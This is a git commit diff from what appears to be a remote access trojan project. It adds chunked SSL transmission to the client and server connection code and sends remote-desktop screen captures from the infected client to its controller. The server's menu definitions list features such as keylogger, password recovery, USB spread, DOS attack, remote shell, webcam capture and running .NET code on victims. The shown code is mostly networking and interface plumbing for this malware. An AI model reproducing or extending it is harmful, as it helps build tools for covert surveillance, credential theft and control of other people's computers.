webcam auto start capture.
update socket send method
fix remote desktop mouse button
This commit is contained in:
NYAN CAT 2019-06-24 09:50:09 +03:00
parent 549c1f30f2
commit 7bb9f02b71
9 changed files with 153 additions and 105 deletions

View File

@ -169,7 +169,6 @@ namespace Client.Connection
{ {
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(MS.ToArray());
//ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
Buffer = new byte[4]; Buffer = new byte[4];
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
@ -203,11 +202,34 @@ namespace Client.Connection
} }
byte[] buffersize = BitConverter.GetBytes(msg.Length); byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Write(buffersize, 0, buffersize.Length);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); if (msg.Length > 1000000) //1mb
{
Debug.WriteLine("send chunks");
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
} }
catch catch
{ {

View File

@ -133,7 +133,6 @@ namespace Client.Connection
{ {
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(MS.ToArray());
//ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
Buffer = new byte[4]; Buffer = new byte[4];
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
@ -168,27 +167,34 @@ namespace Client.Connection
Dispose(); Dispose();
return; return;
} }
byte[] buffersize = BitConverter.GetBytes(msg.Length); byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Write(buffersize, 0, buffersize.Length);
SslClient.Flush();
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose(); if (msg.Length > 1000000) //1mb
{
Debug.WriteLine("send chunks");
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
} }
} }
catch catch

View File

@ -76,9 +76,7 @@ namespace Client.Handle_Packet
msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("ID").AsString = hwid;
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); tempSocket.Send(msgpack.Encode2Bytes());
tempSocket.SslClient.Write(msgpack.Encode2Bytes());
tempSocket.SslClient.Flush();
Thread.Sleep(1); Thread.Sleep(1);
} }
} }

View File

@ -174,24 +174,32 @@ namespace Server.Connection
if ((byte[])msg == null) return; if ((byte[])msg == null) return;
byte[] buffer = (byte[])msg; byte[] buffer = (byte[])msg;
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Write(buffersize, 0, buffersize.Length);
SslClient.Flush();
int chunkSize = 50 * 1024; if (buffer.Length > 1000000) //1mb
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(buffer))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{ {
int bytesToRead = (int)buffereReader.Length; Debug.WriteLine("send chunks");
do int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(buffer))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{ {
chunk = binaryReader.ReadBytes(chunkSize); int bytesToRead = (int)buffereReader.Length;
bytesToRead -= chunkSize; do
SslClient.Write(chunk); {
SslClient.Flush(); chunk = binaryReader.ReadBytes(chunkSize);
Settings.Sent += chunk.Length; bytesToRead -= chunkSize;
} while (bytesToRead > 0); SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
Settings.Sent += chunk.Length;
} while (bytesToRead > 0);
}
}
else
{
SslClient.Write(buffer, 0, buffer.Length);
SslClient.Flush();
} }
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
} }

View File

@ -210,7 +210,7 @@
// //
// contextMenuClient // contextMenuClient
// //
this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(20, 20); this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuClient.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.contextMenuClient.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.aBOUTToolStripMenuItem, this.aBOUTToolStripMenuItem,
this.toolStripSeparator2, this.toolStripSeparator2,
@ -222,20 +222,20 @@
this.toolStripSeparator1, this.toolStripSeparator1,
this.bUILDERToolStripMenuItem}); this.bUILDERToolStripMenuItem});
this.contextMenuClient.Name = "contextMenuStrip1"; this.contextMenuClient.Name = "contextMenuStrip1";
this.contextMenuClient.Size = new System.Drawing.Size(199, 240); this.contextMenuClient.Size = new System.Drawing.Size(203, 240);
// //
// aBOUTToolStripMenuItem // aBOUTToolStripMenuItem
// //
this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Text = "ABOUT";
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
// //
// toolStripSeparator2 // toolStripSeparator2
// //
this.toolStripSeparator2.Name = "toolStripSeparator2"; this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(195, 6); this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6);
// //
// sENDFILEToolStripMenuItem // sENDFILEToolStripMenuItem
// //
@ -244,20 +244,22 @@
this.tODISKToolStripMenuItem}); this.tODISKToolStripMenuItem});
this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.sENDFILEToolStripMenuItem.Text = "Send File"; this.sENDFILEToolStripMenuItem.Text = "Send File";
// //
// tOMEMORYToolStripMenuItem // tOMEMORYToolStripMenuItem
// //
this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem"; this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem";
this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.tOMEMORYToolStripMenuItem.Text = "To Memory"; this.tOMEMORYToolStripMenuItem.Text = "To Memory";
this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click); this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click);
// //
// tODISKToolStripMenuItem // tODISKToolStripMenuItem
// //
this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1;
this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem"; this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem";
this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.tODISKToolStripMenuItem.Text = "To Disk"; this.tODISKToolStripMenuItem.Text = "To Disk";
this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click); this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click);
// //
@ -273,14 +275,14 @@
this.webcamToolStripMenuItem}); this.webcamToolStripMenuItem});
this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system;
this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem";
this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.monitoringToolStripMenuItem.Text = "Monitoring"; this.monitoringToolStripMenuItem.Text = "Monitoring";
// //
// remoteDesktopToolStripMenuItem1 // remoteDesktopToolStripMenuItem1
// //
this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop; this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop;
this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1"; this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1";
this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop";
this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click); this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click);
// //
@ -288,7 +290,7 @@
// //
this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger;
this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1"; this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1";
this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.keyloggerToolStripMenuItem1.Text = "Keylogger"; this.keyloggerToolStripMenuItem1.Text = "Keylogger";
this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click); this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click);
// //
@ -296,7 +298,7 @@
// //
this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key; this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key;
this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1"; this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1";
this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery";
this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click); this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click);
// //
@ -304,7 +306,7 @@
// //
this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager; this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager;
this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1"; this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1";
this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.fileManagerToolStripMenuItem1.Text = "File Manager"; this.fileManagerToolStripMenuItem1.Text = "File Manager";
this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click); this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click);
// //
@ -312,7 +314,7 @@
// //
this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process; this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process;
this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1"; this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1";
this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.processManagerToolStripMenuItem1.Text = "Process Manager"; this.processManagerToolStripMenuItem1.Text = "Process Manager";
this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click); this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click);
// //
@ -323,7 +325,7 @@
this.stopToolStripMenuItem2}); this.stopToolStripMenuItem2});
this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report;
this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem"; this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem";
this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.reportWindowToolStripMenuItem.Text = "Report Window"; this.reportWindowToolStripMenuItem.Text = "Report Window";
// //
// runToolStripMenuItem1 // runToolStripMenuItem1
@ -344,7 +346,7 @@
// //
this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam;
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.webcamToolStripMenuItem.Text = "Webcam"; this.webcamToolStripMenuItem.Text = "Webcam";
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click);
// //
@ -359,14 +361,14 @@
this.executeNETCodeToolStripMenuItem}); this.executeNETCodeToolStripMenuItem});
this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous;
this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
// //
// botsKillerToolStripMenuItem // botsKillerToolStripMenuItem
// //
this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller;
this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem";
this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Text = "Bots Killer";
this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click);
// //
@ -374,7 +376,7 @@
// //
this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb;
this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1";
this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Text = "USB Spread";
this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click);
// //
@ -382,7 +384,7 @@
// //
this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo;
this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1";
this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent";
this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1);
// //
@ -390,7 +392,7 @@
// //
this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell;
this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1";
this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Text = "Remote Shell";
this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1);
// //
@ -398,7 +400,7 @@
// //
this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos;
this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem";
this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Text = "DOS Attack";
this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1);
// //
@ -406,7 +408,7 @@
// //
this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding;
this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem";
this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code";
this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1);
// //
@ -422,7 +424,7 @@
this.disableNetStatToolStripMenuItem}); this.disableNetStatToolStripMenuItem});
this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra;
this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem";
this.extraToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.extraToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.extraToolStripMenuItem.Text = "Extra"; this.extraToolStripMenuItem.Text = "Extra";
// //
// visitWebsiteToolStripMenuItem1 // visitWebsiteToolStripMenuItem1
@ -489,7 +491,7 @@
this.pCToolStripMenuItem}); this.pCToolStripMenuItem});
this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system;
this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem";
this.systemToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.systemToolStripMenuItem.Text = "System"; this.systemToolStripMenuItem.Text = "System";
// //
// clientToolStripMenuItem // clientToolStripMenuItem
@ -503,46 +505,46 @@
this.showFolderToolStripMenuItem}); this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.clientToolStripMenuItem.Text = "Client"; this.clientToolStripMenuItem.Text = "Client";
// //
// closeToolStripMenuItem1 // closeToolStripMenuItem1
// //
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1"; this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34); this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.closeToolStripMenuItem1.Text = "Close"; this.closeToolStripMenuItem1.Text = "Close";
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click); this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
// //
// restartToolStripMenuItem2 // restartToolStripMenuItem2
// //
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2"; this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.restartToolStripMenuItem2.Text = "Restart"; this.restartToolStripMenuItem2.Text = "Restart";
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click); this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
// //
// updateToolStripMenuItem2 // updateToolStripMenuItem2
// //
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2"; this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.updateToolStripMenuItem2.Text = "Update"; this.updateToolStripMenuItem2.Text = "Update";
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click); this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
// //
// uninstallToolStripMenuItem // uninstallToolStripMenuItem
// //
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.uninstallToolStripMenuItem.Text = "Uninstall"; this.uninstallToolStripMenuItem.Text = "Uninstall";
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click); this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
// //
// toolStripSeparator3 // toolStripSeparator3
// //
this.toolStripSeparator3.Name = "toolStripSeparator3"; this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6); this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6);
// //
// showFolderToolStripMenuItem // showFolderToolStripMenuItem
// //
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem"; this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.showFolderToolStripMenuItem.Text = "Show Folder"; this.showFolderToolStripMenuItem.Text = "Show Folder";
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click); this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
// //
@ -554,40 +556,40 @@
this.shutdownToolStripMenuItem1}); this.shutdownToolStripMenuItem1});
this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc;
this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem";
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.pCToolStripMenuItem.Text = "PC"; this.pCToolStripMenuItem.Text = "PC";
// //
// logoffToolStripMenuItem1 // logoffToolStripMenuItem1
// //
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1"; this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.logoffToolStripMenuItem1.Text = "Logoff"; this.logoffToolStripMenuItem1.Text = "Logoff";
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click); this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
// //
// restartToolStripMenuItem3 // restartToolStripMenuItem3
// //
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3"; this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34); this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34);
this.restartToolStripMenuItem3.Text = "Restart"; this.restartToolStripMenuItem3.Text = "Restart";
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click); this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
// //
// shutdownToolStripMenuItem1 // shutdownToolStripMenuItem1
// //
